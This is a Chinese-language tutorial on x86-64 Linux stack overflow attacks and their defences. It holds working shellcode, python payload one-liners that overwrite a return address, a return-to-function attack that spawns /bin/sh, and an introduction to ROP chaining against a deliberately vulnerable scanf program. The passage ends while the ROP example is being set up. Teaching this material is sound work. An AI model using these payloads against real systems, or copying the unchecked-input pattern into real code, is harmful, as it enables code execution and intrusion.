棧溢出攻擊及防護方法簡介

0. 引言

如果你學的第一門程序語言是C語言,那么下面這段程序很可能是你寫出來的第一個有完整的 “輸入---處理---輸出” 流程的程序:

#include <stdio.h>

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s!\n", name);
    return 0;
}

也許這段小程序給你帶來了小小的成就感测柠,也許直到課程結(jié)束也沒人說這個程序有什么不對撒桨,也許你的老師在第一時間就指出這段代碼存在棧溢出的漏洞摧扇,也許你后來又看到無數(shù)的文章指出這個問題同時強調(diào)千萬要慎用scanf函數(shù)胰耗,也許你還知道stackoverflow是最好的程序員網(wǎng)站祟剔。隔躲。。

但可能從來沒有人告訴你物延,什么是棧溢出宣旱、棧溢出有什么危害、黑客們可以利用棧溢出來進行什么樣的攻擊叛薯,還有你最想知道的浑吟,他們是如何利用棧溢出來實現(xiàn)攻擊的笙纤,以及如何防護他們的攻擊。

本文將一一為你解答這些問題组力。

1. 準備工具及知識

你需要準備以下工具:

  • 一臺64位Linux操作系統(tǒng)的x86計算機(虛擬機也可)
  • gcc編譯器省容、gdb調(diào)試器以及nasm匯編器(安裝命令:sudo apt-get install build-essential gdb nasm

本文中所有代碼均在Debian8.1(amd64)、gcc4.9.2燎字、gdb7.7.1和nasm2.11.05以下運行通過腥椒,如果你使用的版本不一致,編譯選項和代碼中的有關數(shù)值可能需要根據(jù)實際情況略作修改候衍。

你需要具備以下基礎知識:

  • 熟練使用C語言笼蛛、熟悉gcc編譯器以及Linux操作系統(tǒng)
  • 熟悉x86匯編,熟練使用mov, push, pop, jmp, call, ret, add, sub這幾個常用命令
  • 了解函數(shù)的調(diào)用過程以及調(diào)用約定

考慮到大部分學校里面使用的x86匯編教材都是32位蛉鹿、windows平臺下的滨砍,這里簡單介紹一下64位Linux平臺下的匯編的不同之處(如果你已熟悉Linux下的X86-64匯編,那你可以跳過以下內(nèi)容妖异,直接閱讀第2節(jié)):

第一個不同之處在于寄存器惋戏,64位的寄存器有rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, rip等,對應32位的eax, ebx, ecx, edx, esi, edi, esp, ebp, eip他膳,另外64位cpu中增加了r9, r10, ..., r15寄存器日川。

第二個不同之處在于函數(shù)的調(diào)用約定,x86-32位架構(gòu)下的函數(shù)調(diào)用一般通過棧來傳遞參數(shù)矩乐,而x86-64位架構(gòu)下的函數(shù)調(diào)用的一般用rdi,rsi,rdx,rcx,r8和r9寄存器依次保存前6個整數(shù)型參數(shù),浮點型參數(shù)保存在寄存器xmm0,xmm1...中回论,有更多的參數(shù)才通過棧來傳遞參數(shù)散罕。

第三個不同之處在于Linux系統(tǒng)特有的系統(tǒng)調(diào)用方式,Linux提供了許多很方便的系統(tǒng)調(diào)用(如write, read, open, fork, exec等)傀蓉,通過syscall指令調(diào)用欧漱,由rax指定需要調(diào)用的系統(tǒng)調(diào)用編號,由rdi,rsi,rdx,r10,r9和r8寄存器傳遞系統(tǒng)調(diào)用需要的參數(shù)葬燎。Linux(x64)系統(tǒng)調(diào)用表詳見 linux system call table for x86-64误甚。

Linux(x64)下的Hello world匯編程序如下:

[section .text]
    global _start

_start:
    mov rax, 1          ; the system call for write ("1" for sys_write)
    mov rdi, 1          ; file descriptor ("1" for standard output)
    mov rsi, Msg        ; string's address  
    mov rdx, 12         ; string's length
    syscall

    mov rax, 0x3c       ; the system call for exit("0x3c" for sys_exit)
    mov rdi, 0          ; exit code
    syscall

Msg:
    DB "Hello world!"

將以上代碼另存為hello-x64.asm,再在終端輸入以下命令:

$ nasm -f elf64 hello-x64.asm
$ ld -s -o hello-x64 hello-x64.o
$ ./hello-x64
Hello world!

將編譯生成可執(zhí)行文件hello-x64谱净,并在終端輸出Hello world!窑邦。

另外,本文所有匯編都是用intel格式寫的壕探,為了使gdb顯示intel格式的匯編指令,需在home目錄下新建一個.gdbinit的文件,輸入以下內(nèi)容并保存:

set disassembly-flavor intel
set disassemble-next-line on
display

2. 經(jīng)典的棧溢出攻擊

現(xiàn)在回到最開始的這段程序:

#include <stdio.h>

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s!\n", name);
    return 0;
}

將其另存為victim.c躯喇,用gcc編譯并運行:

$ gcc victim.c -o victim -zexecstack -g
$ ./victim 
What's your name?Jack
Hello, Jack!

上面的編譯選項中-g表示輸出調(diào)試信息,-zexecstack的作用后面再說厉熟。先來仔細分析一下源程序,這段程序聲明了一個長度為64的字節(jié)型數(shù)組较幌,然后打印提示信息揍瑟,再讀取用戶輸入的名字,最后輸出Hello和用戶輸入的名字乍炉。代碼似乎沒什么問題绢片,name數(shù)組64個字節(jié)應該是夠了吧?畢竟沒人的姓名會有64個字母恩急,畢竟我們的內(nèi)存空間也是有限的杉畜。但是,往壞處想一想衷恭,沒人能阻止用戶在終端輸入100甚至1000個的字符此叠,當那種情況發(fā)生時,會發(fā)生什么事情随珠?name數(shù)組只有64個字節(jié)的空間灭袁,那些多余的字符呢,會到哪里去窗看?

為了回答這兩個問題茸歧,需要了解程序運行時name數(shù)組是如何保存在內(nèi)存中的,這是一個局部變量显沈,顯然應該保存在棧上软瞎,那棧上的布局又是怎樣的?讓我們來分析一下程序中的匯編指令吧拉讯,先將目標程序的匯編碼輸出到victim.asm文件中涤浇,命令如下:

objdump -d victim -M intel > victim.asm

然后打開victim.asm文件,找到其中的main函數(shù)的代碼:

0000000000400576 <main>:
  400576:   55                      push   rbp
  400577:   48 89 e5                mov    rbp,rsp
  40057a:   48 83 ec 40             sub    rsp,0x40
  40057e:   bf 44 06 40 00          mov    edi,0x400644
  400583:   b8 00 00 00 00          mov    eax,0x0
  400588:   e8 b3 fe ff ff          call   400440 <printf@plt>
  40058d:   48 8d 45 c0             lea    rax,[rbp-0x40]
  400591:   48 89 c6                mov    rsi,rax
  400594:   bf 56 06 40 00          mov    edi,0x400656
  400599:   b8 00 00 00 00          mov    eax,0x0
  40059e:   e8 cd fe ff ff          call   400470 <__isoc99_scanf@plt>
  4005a3:   48 8d 45 c0             lea    rax,[rbp-0x40]
  4005a7:   48 89 c6                mov    rsi,rax
  4005aa:   bf 59 06 40 00          mov    edi,0x400659
  4005af:   b8 00 00 00 00          mov    eax,0x0
  4005b4:   e8 87 fe ff ff          call   400440 <printf@plt>
  4005b9:   b8 00 00 00 00          mov    eax,0x0
  4005be:   c9                      leave  
  4005bf:   c3                      ret

可以看出魔慷,main函數(shù)的開頭和結(jié)尾和32位匯編中的函數(shù)幾乎一樣只锭。該函數(shù)的開頭的push rbp; mov rbp, rsp; sub rsp, 0x40,先保存rbp的數(shù)值院尔,再令rbp等于rsp蜻展,然后將棧頂指針rsp減小0x40(也就是64),相當于在棧上分配長度為64的空間邀摆,main函數(shù)中只有name一個局部變量纵顾,顯然這段空間就是name數(shù)組,即name的起始地址為rbp-0x40隧熙。再結(jié)合函數(shù)結(jié)尾的leave; ret片挂,同時類比一下32位匯編中的函數(shù)棧幀布局,可以畫出本程序中main函數(shù)的棧幀布局如下(請注意下圖是按棧頂在上、棧底在下的方式畫的):

                     Stack
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
 name(-0x40)--> +-------------+
                |     ...     |
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
  rbp(+0x00)--> +-------------+
                |   old rbp   |
     (+0x08)--> +-------------+ <--rsp points here just before `ret`
                |   ret rip   |
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
                +-------------+

rbp即函數(shù)的棧幀基指針音念,在main函數(shù)中沪饺,name數(shù)組保存在rbp-0x40~rbp+0x00之間,rbp+0x00處保存的是上一個函數(shù)的rbp數(shù)值闷愤,rbp+0x08處保存了main函數(shù)的返回地址整葡。當main函數(shù)執(zhí)行完leave命令,執(zhí)行到ret命令時:上一個函數(shù)的rbp數(shù)值已重新取回至rbp寄存器讥脐,棧頂指針rsp已經(jīng)指向了保存這個返回地址的單元遭居。之后的ret命令會將此地址出棧,然后跳到此地址旬渠。

現(xiàn)在可以回答剛才那個問題了俱萍,如果用戶輸入了很多很多字符,會發(fā)生什么事情告丢。此時scanf函數(shù)會讀取第一個空格字符之前的所有字符枪蘑,然后全部拷貝到name指向的地址處。若用戶輸入了100個“A”再回車岖免,則棧會是下面這個樣子:

                     Stack
                +-------------+
                |     ...     |
                +-------------+
                |     ...     |
 name(-0x40)--> +-------------+
                |   AAAAAAAA  |
                +-------------+
                |   AAAAAAAA  |
                +-------------+
                |   AAAAAAAA  |
                +-------------+
                |   AAAAAAAA  |
  rbp(+0x00)--> +-------------+
                |   AAAAAAAA  | (should be "old rbp")
     (+0x08)--> +-------------+ <--rsp points here just before `ret`
                |   AAAAAAAA  | (should be "ret rip")
                +-------------+
                |   AAAAAAAA  |
                +-------------+
                |     ...     |
                +-------------+

也就是說岳颇,上一個函數(shù)的rbp數(shù)值以及main函數(shù)的返回地址全部都被改寫了,當執(zhí)行完ret命令后颅湘,cpu將跳到0x4141414141414141("AAAAAAAA")地址處话侧,開始執(zhí)行此地址的指令。

在Linux系統(tǒng)中闯参,0x4141414141414141是一個非法地址瞻鹏,因此程序會出錯并退出。但是鹿寨,如果用戶輸入了精心挑選的字符后乙漓,覆蓋在這里的數(shù)值是一個合法的地址呢?如果這個地址上恰好保存了用戶想要執(zhí)行的惡意的指令呢释移?會發(fā)生什么事情?

以上就是棧溢出的本質(zhì)寥殖,如果程序在接受用戶輸入的時候不對下標越界進行檢查玩讳,直接將其保存到棧上,用戶就有可能利用這個漏洞嚼贡,輸入足夠多的熏纯、精心挑選的字符,改寫函數(shù)的返回地址(也可以是jmp粤策、call指令的跳轉(zhuǎn)地址)樟澜,由此獲取對cpu的控制,從而執(zhí)行任何他想執(zhí)行的動作。

下面介紹最經(jīng)典的棧溢出攻擊方法:將想要執(zhí)行的指令機器碼寫到name數(shù)組中秩贰,然后改寫函數(shù)返回地址為name的起始地址霹俺,這樣ret命令執(zhí)行后將會跳轉(zhuǎn)到name起始地址,開始執(zhí)行name數(shù)組中的機器碼毒费。

我們將用這種方法執(zhí)行一段簡單的程序丙唧,該程序僅僅是在終端打印“Hack!”然后正常退出。

首先要知道name的起始地址觅玻,打開gdb想际,對victim進行調(diào)試,輸入gdb -q ./victim溪厘,再輸入break *main在main函數(shù)的開頭下一個斷點胡本,再輸入run命令開始運行,如下:

$ gdb -q ./victim
Reading symbols from ./victim...done.
(gdb) break *main
Breakpoint 1 at 0x400576: file victim.c, line 3.
(gdb) run
Starting program: /home/hcj/blog/rop/ch02/victim 

Breakpoint 1, main () at victim.c:3
3   int main() {
=> 0x0000000000400576 <main+0>: 55  push   rbp
   0x0000000000400577 <main+1>: 48 89 e5    mov    rbp,rsp
   0x000000000040057a <main+4>: 48 83 ec 40 sub    rsp,0x40
(gdb) 

此時程序停留在main函數(shù)的第一條指令處畸悬,輸入p &name[0]x/gx $rsp分別查看name的起始指針和此時的棧頂指針rsp侧甫。

(gdb) p &name[0]
$1 = 0x7fffffffe100 "\001"
(gdb) x/gx $rsp
0x7fffffffe148: 0x00007ffff7a54b45
(gdb) 

得到name的起始指針為0x7fffffffe100、此時的棧頂指針rsp為0x7fffffffe148傻昙,name到rsp之間一共0x48(也就是72)個字節(jié)闺骚,這和之前的分析是一致的。

下面來寫指令的機器碼妆档,首先寫出匯編代碼:

[section .text]
        global _start

_start:
        jmp END
BEGIN:
        mov rax, 1
        mov rdi, 1
        pop rsi
        mov rdx, 5
        syscall

        mov rax, 0x3c
        mov rdi, 0
        syscall
END:
        call BEGIN
        DB "Hack!"

這段程序和第一節(jié)的Hello-x64基本一樣僻爽,不同之處在于巧妙的利用了call BEGIN和pop rsi獲得了字符串“Hack”的地址、并保存到rsi中贾惦。將以上代碼保存為shell.asm胸梆,編譯運行一下:

$ nasm -f elf64 shell.asm
$ ld -s -o shell shell.o
$ ./shell
Hack!

然后用objdump程序提取出機器碼:

$ objdump -d shell -M intel
...
0000000000400080 <.text>:
  400080:   eb 1e                   jmp    0x4000a0
  400082:   b8 01 00 00 00          mov    eax,0x1
  400087:   bf 01 00 00 00          mov    edi,0x1
  40008c:   5e                      pop    rsi
  40008d:   ba 05 00 00 00          mov    edx,0x5
  400092:   0f 05                   syscall 
  400094:   b8 3c 00 00 00          mov    eax,0x3c
  400099:   bf 00 00 00 00          mov    edi,0x0
  40009e:   0f 05                   syscall 
  4000a0:   e8 dd ff ff ff          call   0x400082
  4000a5:   48 61                   rex.W (bad) 
  4000a7:   63 6b 21                movsxd ebp,DWORD PTR [rbx+0x21]

以上機器碼一共42個字節(jié),nameret rip之間一共72個字節(jié)须板,因此還需要補30個字節(jié)碰镜,最后填上name的起始地址0x7fffffffe100。main函數(shù)執(zhí)行到ret命令時习瑰,棧上的數(shù)據(jù)應該是下面這個樣子的(注意最后的name起始地址需要按小端順序保存):

                                        Stack
 name(0x7fffffffe100)--> +---------------------------------+ <---+
                         |  eb 1e           (jmp END)      |     |
                BEGIN--> +---------------------------------+     |
                         |  b8 01 00 00 00  (mov eax,0x1)  |     |
                         +---------------------------------+     |
                         |  bf 01 00 00 00  (mov edi,0x1)  |     |
                         +---------------------------------+     |
                         |  5e              (pop rsi)      |     |
                         +---------------------------------+     |
                         |  ba 05 00 00 00  (mov edx,0x5)  |     |
                         +---------------------------------+     |
                         |  0f 05           (syscall)      |     |
                         +---------------------------------+     |
                         |  b8 3c 00 00 00  (mov eax,0x3c) |     |
                         +---------------------------------+     |
                         |  bf 00 00 00 00  (mov edi,0x0)  |     |
                         +---------------------------------+     |
                         |  0f 05           (syscall)      |     |
                   END-> +---------------------------------+     |
                         |  e8 dd ff ff ff  (call BEGIN)   |     |
                         +---------------------------------+     |
                         |  48 61 63 6b 21  ("Hack!")      |     |
     (0x7fffffffe12a)--> +---------------------------------+     |
                         |  "\x00"*30                      |     |
  rsp(0x7fffffffe148)--> +---------------------------------+     |
                         |  00 e1 ff ff ff 7f 00 00        | ----+
                         +---------------------------------+

上圖中的棧上的所有字節(jié)碼就是我們需要輸入給scanf函數(shù)的字符串绪颖,這個字符串一般稱為shellcode。由于這段shellcode中有很多無法通過鍵盤輸入的字節(jié)碼甜奄,因此用python將其打印至文件中:

python -c 'print "\xeb\x1e\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x5e\xba\x05\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xff\x48\x61\x63\x6b\x21" + "\x00"*30 + "\x00\xe1\xff\xff\xff\x7f\x00\x00"' > shellcode

現(xiàn)在可以對victim進行攻擊了柠横,不過目前只能在gdb的調(diào)試環(huán)境下進行攻擊。輸入gdb -q ./victim课兄,再輸入run < shellcode

$ gdb -q ./victim
Reading symbols from ./victim...done.
(gdb) run < shellcode
Starting program: /home/hcj/blog/rop/ch02/victim < shellcode
What's your name?Hello, ????!
Hack![Inferior 1 (process 2711) exited normally]
(gdb) 

可以看到shellcode已經(jīng)順利的被執(zhí)行牍氛,棧溢出攻擊成功。

編寫shellcode需要注意兩個事情:(1) 為了使shellcode被scanf函數(shù)全部讀取烟阐,shellcode中不能含有空格字符(包括空格搬俊、回車紊扬、Tab鍵等),也就是說不能含有\x10唉擂、\x0a餐屎、\x0b、\x0c楔敌、\x20等這些字節(jié)碼啤挎,否則shellcode將會被截斷。如果被攻擊的程序使用gets卵凑、strcpy這些字符串拷貝函數(shù)庆聘,那么shellcode中不能含有\x00。(2) 由于shellcode被加載到棧上的位置不是固定的勺卢,因此要求shellcode被加載到任意位置都能執(zhí)行伙判,也就是說shellcode中要盡量使用相對尋址

3. 棧溢出攻擊的防護

為了防止棧溢出攻擊黑忱,最直接和最根本的辦法當然是寫出嚴謹?shù)拇a宴抚,剔除任何可能發(fā)生棧溢出的代碼。但是當程序的規(guī)模大到一定的程序時甫煞,代碼錯誤很難被發(fā)現(xiàn)菇曲,因此操作系統(tǒng)和編譯器采取了一些措施來防護棧溢出攻擊,主要有以下措施抚吠。

(1) 棧不可執(zhí)行機制

操作系統(tǒng)可以利用cpu硬件的特性常潮,將棧設置為不可執(zhí)行的,這樣上一節(jié)所述的將攻擊代碼放在棧上的攻擊方法就無法實施了楷力。
上一節(jié)中gcc victim.c -o victim -zexecstack -g喊式,其中的-zexecstack選項就是告訴操作系統(tǒng)允許本程序的棧可執(zhí)行萧朝。去掉此選項再編譯一次試試看:

$ gcc victim.c -o victim_nx -g
$ gdb -q ./victim_nx
Reading symbols from ./victim_nx...done.
(gdb) r < shellcode
Starting program: /home/hcj/blog/rop/ch02/victim_nx < shellcode
What's your name?Hello, ????!

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe100 in ?? ()
=> 0x00007fffffffe100:  eb 1e   jmp    0x7fffffffe120
(gdb) 

可以看到當程序跳轉(zhuǎn)到name的起始地址0x00007fffffffe100后岔留,嘗試執(zhí)行此處的指令的時候發(fā)生了一個Segmentation fault,之后就中止運行了检柬。

目前來說大部分程序都沒有在棧上執(zhí)行代碼的需求献联,因此將棧設置為不可執(zhí)行對大部分程序的正常運行都沒有任何影響,因此Linux和Windows平臺上默認都是打開棧不可執(zhí)行機制的何址。

(2) 棧保護機制

以gcc編譯器為例酱固,編譯時若打開棧保護開關,則會在函數(shù)的進入和返回的地方增加一些檢測指令头朱,這些指令的作用是:當進入函數(shù)時,在棧上龄减、ret rip之前保存一個只有操作系統(tǒng)知道的數(shù)值项钮;當函數(shù)返回時,檢查棧上這個地方的數(shù)值有沒有被改寫,若被改寫了烁巫,則中止程序運行署隘。由于這個數(shù)值保存在ret rip的前面,因此若ret rip被改寫了亚隙,它肯定也會被改寫磁餐。這個數(shù)值被形象的稱為金絲雀
讓我們打開棧保護開關重新編譯一下victim.c

$ gcc victim.c -o victim_fsp -g -fstack-protector
$ objdump -d victim_fsp -M intel > victim_fsp.asm

打開victim_fsp.asm找到main函數(shù)阿弃,如下:

00000000004005d6 <main>:
  4005d6:   55                      push   rbp
  4005d7:   48 89 e5                mov    rbp,rsp
  4005da:   48 83 ec 50             sub    rsp,0x50
  
  4005de:   64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  4005e5:   00 00 
  4005e7:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  
...

  40062d:   48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
  400631:   64 48 33 14 25 28 00    xor    rdx,QWORD PTR fs:0x28
  400638:   00 00 
  40063a:   74 05                   je     400641 <main+0x6b>
  40063c:   e8 4f fe ff ff          call   400490 <__stack_chk_fail@plt>
  400641:   c9                      leave  
  400642:   c3                      ret

可以看到函數(shù)的開頭增加了mov rax,QWORD PTR fs:0x28; mov QWORD PTR [rbp-0x8],rax诊霹,函數(shù)退出之前增加了mov rdx,QWORD PTR [rbp-0x8]; xor rdx,QWORD PTR fs:0x28; je 400641 <main+0x6b>; call 400490 <__stack_chk_fail@plt>這樣的檢測代碼。

棧保護機制的缺點一個是開銷太大渣淳,每個函數(shù)都要增加5條指令脾还,第二個是只能保護函數(shù)的返回地址,無法保護jmp入愧、call指令的跳轉(zhuǎn)地址鄙漏。在gcc4.9版本中默認是關閉棧保護機制的。

(3) 內(nèi)存布局隨機化機制

內(nèi)存布局隨機化就是將程序的加載位置棺蛛、堆棧位置以及動態(tài)鏈接庫的映射位置隨機化怔蚌,這樣攻擊者就無法知道程序的運行代碼和堆棧上變量的地址。以上一節(jié)的攻擊方法為例旁赊,如果程序的堆棧位置是隨機的桦踊,那么攻擊者就無法知道name數(shù)組的起始地址,也就無法將main函數(shù)的返回地址改寫為shellcode中攻擊指令的起始地址從而實施他的攻擊了彤恶。

內(nèi)存布局隨機化需要操作系統(tǒng)和編譯器的密切配合钞钙,而全局的隨機化是非常難實現(xiàn)的。堆棧位置隨機化和動態(tài)鏈接庫映射位置隨機化的實現(xiàn)的代價比較小声离,Linux系統(tǒng)一般都是默認開啟的芒炼。而程序加載位置隨機化則要求編譯器生成的代碼被加載到任意位置都可以正常運行,在Linux系統(tǒng)下术徊,會引起較大的性能開銷本刽,因此Linux系統(tǒng)下一般的用戶程序都是加載到固定位置運行的。

在Debian8.1和gcc4.9.2環(huán)境下實驗赠涮,代碼如下:

#include <stdio.h>

char g_name[64];

void *get_rip()
{
    asm("\n\
.intel_syntax noprefix\n\
        mov rax, [rbp+8]\n\
.att_syntax\n\
    ");
}

int main()
{
    char name[64];
    printf("Address of `g_name` (Global variable): %x\n", g_name);
    printf("Address of `name` (Local variable): %x\n", name);
    printf("Address of `main` (User code): %x\n", main);
    printf("Value of rip: %x\n", get_rip());
    return 0;
}

將以上代碼另存為aslr_test.c子寓,編譯并運行幾次,如下:

$ gcc -o aslr_test aslr_test.c
$ ./aslr_test 
Address of `g_name` (Global variable): 600a80
Address of `name` (Local variable): d3933580
Address of `main` (User code): 400510
Value of rip: 400560
$ ./aslr_test 
Address of `g_name` (Global variable): 600a80
Address of `name` (Local variable): 512cd150
Address of `main` (User code): 400510
Value of rip: 400560

可見每次運行笋除,只有局部變量的地址是變化的斜友,全局變量的地址、main函數(shù)的地址以及某條指令運行時刻的實際rip數(shù)值都是不變垃它,因此程序是被加載到固定位置運行鲜屏,但堆棧位置是隨機的烹看。

動態(tài)鏈接庫的映射位置可以用ldd命令查看,如下:

$ ldd aslr_test
    linux-vdso.so.1 (0x00007ffe1dd9d000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f26b7e71000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f26b821a000)
$ ldd aslr_test
    linux-vdso.so.1 (0x00007ffc6a771000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4ec92c0000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f4ec9669000)

可見每次運行洛史,這三個動態(tài)鏈接庫映射到進程aslr_test中的位置都是變化的惯殊。

4. ROP 攻擊

在操作系統(tǒng)和編譯器的保護下,程序的棧是不可運行的也殖、棧的位置是隨機的土思,增大了棧溢出攻擊的難度。但如果程序的加載位置是固定的忆嗜、或者程序中存在加載到固定位置的可執(zhí)行代碼己儒,攻擊者就可以利用這些固定位置上的代碼來實施他的攻擊。

考慮下面的代碼霎褐,其中含有一個borrowed函數(shù)址愿,作用是打開一個shell終端。

#include <stdio.h>
#include <unistd.h>

void borrowed() {
    execl("/bin/sh", NULL, NULL);
}

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s!\n", name);
    return 0;
}

將以上代碼另存為victim.c編譯冻璃,并提取匯編碼到victim.asm中响谓,如下:

$ gcc -o victim victim.c
$ objdump -d victim -M intel > victim.asm

打開victim.asm可以查到borrowed函數(shù)的地址為0x4050b6。因此省艳,若攻擊者利用棧溢出將main函數(shù)的返回地址改寫為0x4050b6娘纷,則main函數(shù)返回時會轉(zhuǎn)到borrowed函數(shù)運行,打開一個shell終端跋炕,后面就可以利用終端干很多事情了赖晶。
現(xiàn)在來試一試吧:

$ python -c 'print "\x00"*72+"\xb6\x05\x40\x00\x00\x00\x00\x00"' > shellcode
$ cat shellcode - | ./victim 
What's your name?Hello, !
ls
shellcode  victim  victim.asm  victim.c
mkdir xxx
ls
shellcode  victim  victim.asm  victim.c  xxx
rmdir xxx
ls
shellcode  victim  victim.asm  victim.c

可以看出終端被成功的打開了,并運行了ls辐烂、mkdir遏插、rmdir命令。

注意以上攻擊命令中cat shellcode - | ./victim-是不能省略的纠修,否則終端打開后就會立即關閉胳嘲。

這個例子表明,攻擊者可以利用程序自身的代碼來實施攻擊扣草,從而繞開棧不可執(zhí)行和棧位置隨機化的防護了牛。這個程序是一個特意構(gòu)造的例子,實際的程序中當然不太可能埋一個borrowed函數(shù)這樣的炸彈來等著人來引爆辰妙。但是鹰祸,攻擊者可以利用程序自身的、沒有任何惡意的代碼片段來組裝出這樣的炸彈來密浑,這就是ROP攻擊蛙婴。

ROP攻擊全稱為Return-oriented programming,在這種攻擊中尔破,攻擊者先搜索出程序自身中存在的跳板指令(gadgets)街图,然后將一些跳板指令串起來背传,組裝成一段完整的攻擊程序。

跳板指令就是以ret結(jié)尾的指令(也可以是以jmp台夺、call結(jié)尾的指令),如mov rax, 1; ret | pop rax; ret痴脾。那如何將跳板指令串起來颤介?

假如程序中在0x1234 | 0x5678 | 0x9abc地址處分別存在三段跳板指令mov rax, 10; ret | mov rbx, 20; ret | add rax, rbx; ret,且當前的rip指向的指令是ret赞赖,如果將0x1234 | 0x5678 | 0x9abc三個地址的數(shù)值放到棧上滚朵,如下:

                    Stack                      Code
  rsp(+0x00)-->+-------------+            +-------------+<--rip
               |   0x1234    |--------+   |     ret     |
     (+0x08)-->+-------------+        |   +-------------+
               |   0x5678    |-----+  |   |     ...     |
     (+0x10)-->+-------------+     |  +-->+-------------+<--0x1234
               |   0x9abc    |--+  |      | mov rax, 10 |
               +-------------+  |  |      +-------------+
               |     ...     |  |  |      |     ret     |
               +-------------+  |  |      +-------------+
               |     ...     |  |  |      |     ...     |
               +-------------+  |  +----->+-------------+<--0x5678
               |     ...     |  |         | mov rbx, 20 |
               +-------------+  |         +-------------+
               |     ...     |  |         |     ret     |
               +-------------+  |         +-------------+
               |     ...     |  |         |     ...     |
               +-------------+  +-------->+-------------+<--0x9abc
               |     ...     |            | add rax,rbx |
               +-------------+            +-------------+
               |     ...     |            |     ret     |
               +-------------+            +-------------+
Equivalent codes:
        mov rax, 10
        mov rbx, 20
        add rax, rbx

則執(zhí)行完ret指令后,程序?qū)⑻D(zhuǎn)到0x1234前域,執(zhí)行mov rax, 1; ret辕近,后面這個ret指令又將跳轉(zhuǎn)到0x5678...,之后再跳轉(zhuǎn)到0x9abc匿垄,整個流程好像在順序執(zhí)行mov rax, 10; mov rbx, 20; add rax, rbx一樣移宅。

可見只要將這些以ret指令結(jié)尾的gadgets的地址放在棧上合適的位置,這些ret指令就會按指定的順序一步步的在這些gadgets之間跳躍椿疗。

再看一個稍微復雜的例子:

                    Stack                   Code
  rsp(+0x00)-->+-------------+         +-------------+<--rip
               |    addr1    |-----+   |     ret     |
     (+0x08)-->+-------------+     |   +-------------+
               |    0x3b     |     |   |     ...     |
               +-------------+     +-->+-------------+<--addr1
               |    addr2    |--+      |   pop rax   |
               +-------------+  |      +-------------+
               |     ...     |  |      |     ret     |
               +-------------+  |      +-------------+
               |     ...     |  |      |     ...     |
               +-------------+  +----->+-------------+<--addr2
               |     ...     |         |  next inst  |
               +-------------+         +-------------+
               |     ...     |         |     ret     |
               +-------------+         +-------------+
Equivalent codes:
        mov rax, 0x3b

這個例子中漏峰,跳板指令是pop rax; ret,執(zhí)行完后届榄,棧上的0x3b將pop到rax中浅乔,因此這種型式的跳板指令可以實現(xiàn)對寄存器的賦值。

add rsp, 10h; ret型式的跳板指令可以模擬流程跳轉(zhuǎn)铝条,如下:

                    Stack                       Code
  rsp(+0x00)-->+-------------+               +-------------+<--rip
               |    addr1    |-----------+   |     ret     |
     (+0x08)-->+-------------+           |   +-------------+
               |    addr2    |--------+  |   |     ...     |
               +-------------+        |  +-->+-------------+<--addr1
               |    addr3    |-----+  |      | add rsp,10h |
               +-------------+     |  |      +-------------+
               |    addr4    |--+  |  |      |     ret     |
               +-------------+  |  |  |      +-------------+
               |     ...     |  |  |  |      |     ...     |
               +-------------+  |  |  +----->+-------------+<--addr2
               |     ...     |  |  |         |    inst2    |
               +-------------+  |  |         +-------------+
               |     ...     |  |  |         |     ret     |
               +-------------+  |  |         +-------------+
               |     ...     |  |  |         |     ...     |
               +-------------+  |  +-------->+-------------+<--addr3
               |     ...     |  |            |    inst3    |
               +-------------+  |            +-------------+
               |     ...     |  |            |     ret     |
               +-------------+  |            +-------------+
               |     ...     |  |            |     ...     |
               +-------------+  +----------->+-------------+<--addr4
               |     ...     |               |    inst4    |
               +-------------+               +-------------+
               |     ...     |               |     ret     |
               +-------------+               +-------------+
Equivalent codes:
        jmp there
        inst2
        inst3
there:  inst4

條件跳轉(zhuǎn)甚至函數(shù)調(diào)用都可以用精心構(gòu)造出的gadgets鏈來模擬靖苇。只要找出一些基本的gadgets,就可以使用這些gadgets來組裝出復雜的攻擊程序班缰。而只要被攻擊程序的代碼量有一定的規(guī)模贤壁,就不難在這個程序的代碼段中搜索出足夠多的gadgets(注意目標程序的代碼中不需要真正有這樣的指令,只需要恰好有這樣的指令的機器碼鲁捏,例如如果需要用到跳板指令pop rax; ret芯砸,只需要目標程序的代碼段中含有字節(jié)碼串58 C3就可以了)。

下面以實例來展示一下ROP攻擊的強大给梅,在這個例子中假丧,將利用gadgets組裝出程序,執(zhí)行exec系統(tǒng)調(diào)用打開一個shell終端动羽。

用exec系統(tǒng)調(diào)用打開一個shell終端需要的參數(shù)和指令如下:

        mov rax, 0x3b   ; system call number, 0x3b for sys_exec
        mov rdi, PROG   ; char *prog (program path)
        mov rsi, 0      ; char **agcv
        mov rdx, 0      ; char **env
        syscall
PROG:   DB "/bin/sh", 0

其中rax為系統(tǒng)調(diào)用編號包帚,rdi為字符串指針、指向可執(zhí)行程序的完整路徑运吓,rsi和rdx都是字符串指針數(shù)組渴邦,保存了參數(shù)列表和環(huán)境變量疯趟,在此處可以直接至為0。

為了增大被攻擊程序的體積谋梭,以搜索到盡可能多的gadgets信峻,在原來的代碼中增加一個random函數(shù),同時用靜態(tài)鏈接的方式重新編譯一下victim.c:

$ cat victim.c
#include <stdio.h>
#include <stdlib.h>

int main() {
    char name[64];
    printf("What's your name?");
    scanf("%s", name);
    printf("Hello, %s%ld!\n", name, random());
    return 0;
}
$ gcc -o victim victim.c -static

